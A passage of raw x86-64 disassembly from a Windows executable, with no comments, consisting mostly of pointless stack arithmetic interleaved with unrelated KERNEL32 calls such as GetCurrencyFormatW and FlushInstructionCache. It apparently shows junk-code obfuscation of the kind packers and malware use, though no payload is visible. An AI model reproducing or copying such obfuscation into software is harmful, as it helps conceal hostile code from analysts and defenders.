add eax, ecx
mov byte [rsp + 0x277], al
mov eax, dword [rsp + 0x447c]
mov ecx, dword [rsp + 0x4374]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x4614], eax
lea rax, [rsp + 0x1c84]
mov qword [rsp + 0x9880], rax
lea rax, [rsp + 0x1a90]
mov qword [rsp + 0x9888], rax
mov rax, qword [rsp + 0x9668]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x9828]
shl rax, cl
mov rcx, qword [rsp + 0x9788]
mov qword [rcx], rax
movzx eax, byte [rsp + 0x343]
mov byte [rsp + 0x4678], al
cmp byte [rsp + 0x4678], 0x31
je 0x140022de4
jmp 0x140022e33
call qword [sym.imp.KERNEL32.dll_AreFileApisANSI]
mov dword [rsp + 0x467c], eax
mov rax, qword [rsp + 0x8500]
mov rcx, qword [rsp + 0x9870]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9758]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9750]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x342]
add eax, ecx
mov byte [rsp + 0x343], al
jmp 0x14017c94c
xor edx, edx
mov eax, dword [rsp + 0x4614]
mov ecx, 0x3b95
div ecx
mov dword [rsp + 0x4374], eax
mov rax, qword [rsp + 0x96e8]
movzx eax, byte [rax]
mov byte [rsp + 0x4680], al
cmp byte [rsp + 0x4680], 0
je 0x140022e6b
jmp 0x140022ef3
lea rax, [rsp + 0x1c78]
mov qword [rsp + 0x9890], rax
mov rax, qword [rsp + 0x9720]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1c7c]
sar eax, cl
mov word [rsp + 0x1c8c], ax
lea rax, [rsp + 0x7c50]
mov qword [rsp + 0x9898], rax
mov rax, qword [rsp + 0x9788]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x97d0]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x82e8], rax
movzx eax, word [rsp + 0x1c88]
mov word [rsp + 0x1c90], ax
mov eax, dword [rsp + 0x4614]
mov ecx, dword [rsp + 0x447c]
sub ecx, eax
mov eax, ecx
mov dword [0x140229f30], eax
jmp 0x140022f13
mov rax, qword [rsp + 0x9748]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x9720]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1a90], ax
movsx eax, byte [rsp + 0x186]
mov rcx, qword [rsp + 0x96d8]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x343], al
lea rcx, [rsp + 0x9680]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov eax, dword [rsp + 0x447c]
mov ecx, dword [rsp + 0x4614]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x4374], eax
mov rax, qword [rsp + 0x9758]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9878]
mov qword [rsp + 0x98a0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x98a0]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x8ef8], rax
mov rax, qword [rsp + 0x9668]
mov rcx, qword [rsp + 0x9788]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x9660], rax
mov r9d, 0x995
xor r8d, r8d
lea rdx, [rsp + 0x9708]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x4664], eax
mov rax, qword [rsp + 0x9890]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1c84]
sar eax, cl
mov word [rsp + 0x1c90], ax
movzx eax, word [rsp + 0x1c7c]
mov rcx, qword [rsp + 0x9820]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1c80], ax
mov rax, qword [rsp + 0x96a0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x19f]
add eax, ecx
mov rcx, qword [rsp + 0x96a0]
mov byte [rcx], al
mov rax, qword [rsp + 0x9878]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8ef8]
and rcx, rax
mov rax, rcx
mov qword [0x14022b808], rax
mov rax, qword [rsp + 0x9668]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x82e8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x96d0], rax
mov eax, dword [rsp + 0x4374]
movzx ecx, al
mov eax, dword [rsp + 0x447c]
shr eax, cl
mov dword [rsp + 0x4614], eax
mov rax, qword [rsp + 0x9878]
mov rcx, qword [rsp + 0x9758]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x97e8]
mov qword [rcx], rax
movsx eax, byte [0x14022b810]
movsx ecx, byte [rsp + 0x343]
and eax, ecx
mov byte [rsp + 0x186], al
movsx eax, word [rsp + 0x1c78]
mov rcx, qword [rsp + 0x96a8]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x1c84], ax
mov rax, qword [rsp + 0x9820]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1a90]
shl eax, cl
mov word [rsp + 0x1c7c], ax
mov rax, qword [rsp + 0x9668]
mov rcx, qword [rsp + 0x97d8]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0x8078], rax
mov eax, dword [rsp + 0x4640]
sub eax, 0x78
mov dword [rsp + 0x4640], eax
movzx eax, word [rsp + 0x1c7c]
movzx ecx, word [0x14022b824]
or eax, ecx
mov rcx, qword [rsp + 0x96c8]
mov word [rcx], ax
mov rax, qword [rsp + 0x96a8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1c90]
sar eax, cl
mov word [0x14022b820], ax
mov rax, qword [rsp + 0x9898]
mov rcx, qword [rsp + 0x9668]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x82e8], rax
movsx eax, byte [0x14022b811]
movsx ecx, byte [rsp + 0x342]
add eax, ecx
mov byte [rsp + 0x277], al
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_EscapeCommFunction]
mov rax, qword [rsp + 0x97e8]
mov rcx, qword [rsp + 0x9650]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x9730], rax
lea rdx, [rsp + 0x4684]
mov rcx, qword [rsp + 0x9840]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x4664], eax
mov rax, qword [rsp + 0x96e0]
mov ecx, dword [rsp + 0x4374]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4614], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_InitAtomTable]
lea rcx, [rsp + 0x9778]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
movzx eax, word [rsp + 0x1c80]
mov rcx, qword [rsp + 0x96c8]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x9720]
mov word [rcx], ax
mov rax, qword [rsp + 0x9898]
mov rcx, qword [rsp + 0x97d0]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x82e8], rax
movzx eax, byte [rsp + 0x19f]
movzx ecx, byte [rsp + 0xa9]
sar eax, cl
mov byte [rsp + 0x2a0], al
mov rax, qword [rsp + 0x9800]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x45c8]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x460c], eax
mov rax, qword [rsp + 0x7dd0]
mov rcx, qword [rsp + 0x8ef8]
add rcx, rax
mov rax, rcx
mov rcx, qword [0x14022b818]
mov qword [rcx], rax
movzx eax, word [rsp + 0x1c80]
mov rcx, qword [rsp + 0x9820]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x1c7c], ax
mov rax, qword [rsp + 0x9758]
mov rcx, qword [rsp + 0x97e8]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x9870], rax
cmp dword [rsp + 0x4640], 0xfd05
ja 0x140022fce
mov rax, qword [rsp + 0x8ef8]
mov qword [rsp + 0x98a8], rax
cmp qword [rsp + 0x98a8], 0
je 0x140023312
jmp 0x140023469
lea rax, [rsp + 0x4374]
mov qword [rsp + 0x98b0], rax
lea rax, [rsp + 0x343]
mov qword [rsp + 0x98b8], rax
movsx eax, word [rsp + 0x1c78]
mov rcx, qword [rsp + 0x96a8]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x1c90], ax
movzx eax, word [rsp + 0x1c80]
mov rcx, qword [rsp + 0x96c8]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x9888]
mov word [rcx], ax
movsx eax, byte [rsp + 0x186]
movsx ecx, byte [rsp + 0x343]
sar eax, cl
movsx ecx, byte [rsp + 0x129]
mov rdx, qword [rsp + 0x96d8]
movsx edx, byte [rdx]
add ecx, edx
cmp eax, ecx
je 0x1400233c0
mov rax, qword [rsp + 0x97d8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9660]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x97d0], rax
jmp 0x140023464
mov eax, dword [rsp + 0x45c8]
mov ecx, dword [rsp + 0x45d8]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9800]
mov edx, dword [rsp + 0x4630]
mov ecx, dword [rcx]
and ecx, edx
cmp eax, ecx
jl 0x14002340a
lea rax, [rsp + 0x97d0]
mov qword [rsp + 0x98c0], rax
movzx eax, word [rsp + 0x1c90]
mov word [0x14022b828], ax
jmp 0x140023464
movsx eax, word [rsp + 0x1c78]
movsx ecx, word [rsp + 0x1c84]
sub eax, ecx
movsx ecx, word [rsp + 0x1c88]
movsx edx, word [rsp + 0x1c90]
add ecx, edx
cmp eax, ecx
je 0x140023440
mov ecx, dword [rsp + 0x45c8]
call fcn.14017d190
jmp 0x140023464
mov rax, qword [rsp + 0x9710]
mov rcx, qword [rsp + 0x98c0]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0x9788]
mov qword [rcx], rax
jmp 0x140023515
mov dword [rsp + 0x28], reloc.SHELL32.dll_PathYetAnotherMakeUniqueName
mov rax, qword [rsp + 0x97f0]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x1e780]
mov r8, qword [rsp + 0x98c8]
mov edx, 0x79
mov ecx, 0x92
call qword [sym.imp.KERNEL32.dll_GetCurrencyFormatW]
mov dword [rsp + 0x460c], eax
mov rax, qword [rsp + 0x96a8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1c88]
shl eax, cl
mov word [rsp + 0x1c78], ax
movsx eax, byte [rsp + 0x277]
mov rcx, qword [rsp + 0x96d8]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x98b8]
mov byte [rcx], al
mov rax, qword [rsp + 0x97b8]
mov rcx, qword [rsp + 0x97e0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4614], eax
mov rax, qword [rsp + 0x9898]
mov rdx, qword [rax]
mov ecx, dword [rsp + 0x4614]
call fcn.14017d120
mov rax, qword [rsp + 0x8500]
mov rcx, qword [rsp + 0x97e8]
mov qword [rsp + 0x98d0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x98d0]
mov rax, qword [rax]
shr rax, cl
mov rcx, qword [rsp + 0x97e8]
mov qword [rcx], rax
movzx eax, byte [rsp + 0xa9]
mov byte [rsp + 0x344], al
mov dword [rsp + 0x4688], 0x34b2
mov eax, dword [rsp + 0x4658]
mov ecx, dword [rsp + 0x460c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4674], eax
movsx eax, word [rsp + 0x1c84]
movsx ecx, word [rsp + 0x1c78]
sub eax, ecx
mov word [rsp + 0x1c90], ax
xor r9d, r9d
xor r8d, r8d
mov edx, 0xa86
mov rcx, qword [rsp + 0x96c0]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x468c], eax
mov rax, qword [rsp + 0x9848]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x9880]
movsx ecx, word [rcx]
and eax, ecx
movsx ecx, word [rsp + 0x1c88]
mov rdx, qword [rsp + 0x9890]
movsx edx, word [rdx]
and ecx, edx
cmp eax, ecx
jge 0x140023670
mov rax, qword [rsp + 0x9668]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x98c0]
mov qword [rsp + 0x98d8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x98d8]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x9780], rax
movsx eax, byte [rsp + 0x186]
mov rcx, qword [rsp + 0x9750]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x277], al
mov rax, qword [rsp + 0x96e0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x447c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4374], eax
movzx edx, word [0x14022b824]
movzx ecx, byte [rsp + 0x342]
call fcn.14017d0e0
jmp 0x14017c8e2
mov rax, qword [rsp + 0x96a0]
movzx eax, byte [rax]
mov byte [rsp + 0x4690], al
cmp byte [rsp + 0x4690], 0
je 0x1400236dd
cmp byte [rsp + 0x4690], 0x5c
je 0x14002369b
jmp 0x14017c88a
mov rax, qword [rsp + 0x9890]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x9880]
movsx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x96a8]
mov word [rcx], ax
movzx eax, word [rsp + 0x1c7c]
movzx ecx, word [rsp + 0x1a90]
sub eax, ecx
mov word [rsp + 0x1c80], ax
jmp 0x14017c88a
movsx eax, byte [rsp + 0x129]
movsx ecx, byte [0x14022b810]
add eax, ecx
movsx ecx, byte [rsp + 0x277]
movsx edx, byte [rsp + 0x343]
and ecx, edx
cmp eax, ecx
jle 0x14002374d
mov rax, qword [rsp + 0x9780]
mov rcx, qword [rsp + 0x9810]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x8078], rax
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov qword [rsp + 0x96f8], rax
movzx eax, word [rsp + 0x1c7c]
movzx ecx, word [rsp + 0x1c80]
and eax, ecx
mov rcx, qword [rsp + 0x9820]
mov word [rcx], ax
mov rax, qword [rsp + 0x9808]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x96e8]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [0x140229f1d], al
lea rax, [rsp + 0x9810]
mov qword [rsp + 0x98e0], rax
mov rax, qword [rsp + 0x9668]
mov rcx, qword [rsp + 0x96d0]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0x9668]
mov qword [rcx], rax
lea rax, [rsp + 0x4374]
mov qword [rsp + 0x98e8], rax
mov rax, qword [rsp + 0x97e8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8ef8]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x9870], rax
lea rdx, [rsp + 0x4694]
mov rcx, qword [rsp + 0x96c0]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x4644], eax
mov rax, qword [rsp + 0x96a0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x9808]
movzx ecx, byte [rcx]
shl eax, cl
movzx ecx, byte [rsp + 0xa9]
mov dword [rsp + 0x4698], ecx
mov rdx, qword [rsp + 0x96e8]
movzx edx, byte [rdx]
movzx ecx, dl
mov edx, dword [rsp + 0x4698]
sar edx, cl
mov ecx, edx
cmp eax, ecx
jle 0x140023852
mov rax, qword [rsp + 0x9800]
mov ecx, dword [rsp + 0x45c8]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x460c], eax
call fcn.14017d040
jmp 0x1400239f5
mov rax, qword [rsp + 0x9800]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x45c8]
sub ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0x4630]
mov edx, dword [rsp + 0x45d8]
add edx, ecx
mov ecx, edx
cmp eax, ecx
jl 0x14002397d
mov rax, qword [rsp + 0x97e8]
mov rax, qword [rax]
mov qword [rsp + 0x98f0], rax
cmp qword [rsp + 0x98f0], 0
je 0x1400238bc
movabs rax, 0x744cfff77a259d
cmp qword [rsp + 0x98f0], rax
je 0x140023953
jmp 0x140023970
lea rax, [rsp + 0x19f]
mov qword [rsp + 0x98f8], rax
mov rax, qword [rsp + 0x98b8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x9750]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x96d8]
mov byte [rcx], al
movsx eax, word [rsp + 0x1c78]
movsx ecx, word [rsp + 0x1c90]
shl eax, cl
mov rcx, qword [rsp + 0x9890]
mov word [rcx], ax
mov dword [rsp + 0x469c], 0x83ff
mov rax, qword [rsp + 0x9710]
mov rax, qword [rax]
mov qword [0x14022b830], rax
movzx eax, word [rsp + 0x1c84]
mov word [rsp + 0x1c94], ax
movzx eax, word [0x140229f28]
movzx ecx, word [rsp + 0x1a90]
or eax, ecx
mov word [rsp + 0x1c80], ax
jmp 0x140023970
mov rax, qword [rsp + 0x9748]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1c7c]
xor eax, ecx
mov word [rsp + 0x1c8c], ax
mov dword [rsp + 0x46a0], 0x135e
jmp 0x1400239f5
movzx eax, word [rsp + 0x1c80]
mov rcx, qword [rsp + 0x96c8]
movzx ecx, word [rcx]
sub eax, ecx
movzx ecx, word [rsp + 0x1c8c]
movzx edx, word [rsp + 0x1a90]
and ecx, edx
cmp eax, ecx
jge 0x1400239d6
mov eax, dword [0x140229f30]
mov rcx, qword [rsp + 0x98b0]
mov qword [rsp + 0x9900], rcx
movzx ecx, al
mov rax, qword [rsp + 0x9900]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x447c], eax
jmp 0x1400239f5
mov rax, qword [rsp + 0x98b8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x9750]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x129], al
mov rax, qword [rsp + 0x9870]
mov rcx, qword [rsp + 0x9670]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x8ff8], rax
mov r9d, 0xc92
xor r8d, r8d
lea rdx, [rsp + 0x9830]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x45e4], eax
lea rdx, [rsp + 0x46a4]
mov rcx, qword [rsp + 0x9840]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x4648], eax
movsx eax, word [rsp + 0x1c90]
movsx ecx, word [rsp + 0x1c88]
and eax, ecx
mov word [rsp + 0x1c94], ax
movzx eax, byte [rsp + 0xa9]
mov rcx, qword [rsp + 0x98f8]
movzx ecx, byte [rcx]
add eax, ecx
movzx ecx, byte [0x140229f1d]
mov dword [rsp + 0x46a8], ecx
mov rdx, qword [rsp + 0x96e8]
movzx edx, byte [rdx]
movzx ecx, dl
mov edx, dword [rsp + 0x46a8]
sar edx, cl
mov ecx, edx
cmp eax, ecx
jle 0x140023b3f
mov rax, qword [rsp + 0x9748]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1c80]
sub eax, ecx
mov word [rsp + 0x1c7c], ax
mov ecx, 0x88
call qword [sym.imp.KERNEL32.dll_SetConsoleCP]
mov dword [rsp + 0x45dc], eax
mov rax, qword [rsp + 0x9758]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9650]
and rcx, rax
mov rax, rcx
mov rcx, qword [0x14022b818]
mov qword [rcx], rax
mov rax, qword [rsp + 0x98c0]
mov rcx, qword [rsp + 0x9788]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x98c0]
mov qword [rcx], rax
movzx edx, word [rsp + 0x1a90]
mov rax, qword [rsp + 0x98b8]
movzx ecx, byte [rax]
call fcn.14017d0e0
movzx eax, word [rsp + 0x1c7c]
mov rcx, qword [rsp + 0x9888]
movzx ecx, word [rcx]
shl eax, cl
movzx ecx, word [rsp + 0x1c80]
mov rdx, qword [rsp + 0x96c8]
movzx edx, word [rdx]
or ecx, edx
cmp eax, ecx
jg 0x14017c792
mov rax, qword [rsp + 0x9808]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x96e8]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0xa9], al
mov eax, dword [rsp + 0x4674]
mov dword [rsp + 0x46ac], eax
mov rax, qword [rsp + 0x97b8]
mov rcx, qword [rsp + 0x97e0]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x98b0]
mov ecx, dword [rcx]
mov edx, dword [rsp + 0x447c]
shr edx, cl
mov ecx, edx
cmp eax, ecx
jb 0x14017c660
mov r9d, 1
xor r8d, r8d
mov edx, 0xe111
mov rcx, qword [rsp + 0x9840]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x46b0], eax
movzx eax, byte [rsp + 0x2a0]
mov rcx, qword [rsp + 0x96a0]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x98f8]
movzx ecx, byte [rcx]
movzx edx, byte [rsp + 0x344]
and ecx, edx
cmp eax, ecx
jne 0x140023d9a
movzx eax, byte [rsp + 0x19f]
mov rcx, qword [rsp + 0x98f8]
movzx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x9808]
movzx ecx, byte [rcx]
mov dword [rsp + 0x46b4], ecx
mov rdx, qword [rsp + 0x96e8]
movzx edx, byte [rdx]
movzx ecx, dl
mov edx, dword [rsp + 0x46b4]
shl edx, cl
mov ecx, edx
cmp eax, ecx
je 0x140023cce
mov rax, qword [rsp + 0x9710]
mov rcx, qword [rsp + 0x8078]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x97d0], rax
mov rax, qword [rsp + 0x9650]
mov rcx, qword [rsp + 0x8ff8]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9878]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9750]
movsx eax, byte [rax]
movsx ecx, byte [0x14022b811]
sar eax, cl
mov byte [rsp + 0x342], al
call fcn.14017d040
jmp 0x140023d95
mov rax, qword [rsp + 0x96e0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4614]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x98b0]
mov edx, dword [0x140229f2c]
mov ecx, dword [rcx]
add ecx, edx
cmp eax, ecx
jb 0x140023cfe
jmp 0x140023d95
mov rax, qword [rsp + 0x98f8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xa9]
sar eax, cl
mov rcx, qword [rsp + 0x96e8]
movzx ecx, byte [rcx]
mov rdx, qword [rsp + 0x9808]
movzx edx, byte [rdx]
add ecx, edx
cmp eax, ecx
jle 0x140023d4e
lea rdx, [rsp + 0x9908]
mov rcx, qword [rsp + 0x9698]
call qword [sym.imp.KERNEL32.dll_GetThreadIOPendingFlag]
mov dword [rsp + 0x466c], eax
jmp 0x140023d95
movsx eax, word [rsp + 0x1c90]
mov rcx, qword [rsp + 0x9890]
movsx ecx, word [rcx]
sub eax, ecx
movsx ecx, word [rsp + 0x1c78]
movsx edx, word [rsp + 0x1c88]
and ecx, edx
cmp eax, ecx
jle 0x140023d95
mov eax, dword [rsp + 0x447c]
mov ecx, dword [rsp + 0x4614]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x98b0]
mov dword [rcx], eax
jmp 0x140023f74
mov rax, qword [rsp + 0x9750]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x98b8]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x96d8]
movsx ecx, byte [rcx]
movsx edx, byte [rsp + 0x342]
add ecx, edx
cmp eax, ecx
jne 0x140023de6
mov rax, qword [rsp + 0x98e8]
mov edx, dword [rax]
mov ecx, dword [rsp + 0x4374]
call fcn.14017cfe0
jmp 0x140023f74
movzx eax, word [0x140229f28]
mov rcx, qword [rsp + 0x9888]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x9720]
movzx ecx, word [rcx]
mov dword [rsp + 0x46b8], ecx
movzx edx, word [rsp + 0x1c8c]
movzx ecx, dl
mov edx, dword [rsp + 0x46b8]
sar edx, cl
mov ecx, edx
cmp eax, ecx
je 0x140023ece
movsx eax, word [0x14022b820]
movsx ecx, word [rsp + 0x1c78]
shl eax, cl
mov word [rsp + 0x1c88], ax
movzx eax, word [rsp + 0x1c7c]
movzx ecx, word [rsp + 0x1a90]
xor eax, ecx
mov word [0x140229f28], ax
mov rax, qword [rsp + 0x9668]
mov rcx, qword [rsp + 0x8078]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x9788]
mov qword [rcx], rax
movzx eax, word [rsp + 0x1a90]
movzx ecx, word [rsp + 0x1c8c]
sub eax, ecx
mov word [rsp + 0x1c80], ax
lea rax, [rsp + 0x344]
mov qword [rsp + 0x20], rax
mov r9d, 0x99
mov r8, qword [rsp + 0x9910]
mov edx, 0x22
mov ecx, 0x22
call qword [sym.imp.KERNEL32.dll_GetStringTypeExW]
mov dword [rsp + 0x4620], eax
jmp 0x140023f74
mov rax, qword [rsp + 0x98f8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x9808]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x344], al
mov rax, qword [rsp + 0x9800]
mov ecx, dword [rsp + 0x4658]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x46ac], eax
mov rax, qword [rsp + 0x97e8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9878]
mov qword [rsp + 0x9918], rcx
movzx ecx, al
mov rax, qword [rsp + 0x9918]
mov rax, qword [rax]
shr rax, cl
mov rcx, qword [rsp + 0x9758]
mov qword [rcx], rax
lea rdx, [rsp + 0x277]
mov cl, 0x69
call qword [sym.imp.KERNEL32.dll_GetNumaNodeProcessorMask]
mov dword [rsp + 0x45f4], eax
movsx eax, byte [rsp + 0x277]
mov rcx, qword [rsp + 0x96d8]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x9750]
mov byte [rcx], al
lea rcx, [rsp + 0x9790]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov rax, qword [rsp + 0x97e0]
mov ecx, dword [rsp + 0x4614]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4374], eax
mov rax, qword [rsp + 0x9890]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x9880]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x1c94], ax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FlushInstructionCache]
movzx eax, word [rsp + 0x1a90]
movzx ecx, word [0x140229f28]
and eax, ecx
mov word [0x14022b824], ax
mov rax, qword [rsp + 0x7c50]
mov rcx, qword [rsp + 0x97d0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x9810], rax
mov rax, qword [rsp + 0x98c0]
mov rcx, qword [rsp + 0x97d0]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x9828], rax
mov rax, qword [rsp + 0x9890]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1c88]
xor eax, ecx
mov rcx, qword [rsp + 0x9880]
mov word [rcx], ax
lea rdx, [rsp + 0x4694]
mov rcx, qword [rsp + 0x9648]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x4694], eax
lea rcx, [rsp + 0x9920]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
mov rax, qword [rsp + 0x96c8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x9820]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x1a90], ax
mov rax, qword [rsp + 0x9758]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9878]
mov qword [rsp + 0x9928], rcx
movzx ecx, al
mov rax, qword [rsp + 0x9928]
mov rax, qword [rax]
shr rax, cl
mov rcx, qword [rsp + 0x97e8]
mov qword [rcx], rax
movsx eax, byte [rsp + 0x129]
movsx ecx, byte [rsp + 0x343]
add eax, ecx
mov byte [rsp + 0x186], al
mov eax, dword [rsp + 0x4374]
mov ecx, dword [rsp + 0x4614]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x447c], eax
mov rax, qword [rsp + 0x8078]
mov rcx, qword [0x14022b830]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x9660], rax
mov rax, qword [rsp + 0x9730]
mov rcx, qword [rsp + 0x9650]
and rcx, rax
mov rax, rcx
mov rcx, qword [0x14022b818]
mov qword [rcx], rax
movzx eax, word [0x140229f28]
mov rcx, qword [rsp + 0x9748]
movzx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x9820]
mov word [rcx], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetCommModemStatus]
mov rax, qword [rsp + 0x9800]
mov eax, dword [rax]
mov dword [rsp + 0x4630], eax
mov rax, qword [rsp + 0x96e8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xa9]
and eax, ecx
mov byte [rsp + 0x344], al
mov rax, qword [rsp + 0x9668]
mov rcx, qword [rsp + 0x9780]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x98c0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x8ef8]
mov rcx, qword [rsp + 0x9870]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x8500], rax
mov eax, dword [0x140229f30]
mov ecx, dword [rsp + 0x4614]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x4374], eax
mov eax, dword [rsp + 0x46a0]
add eax, 3
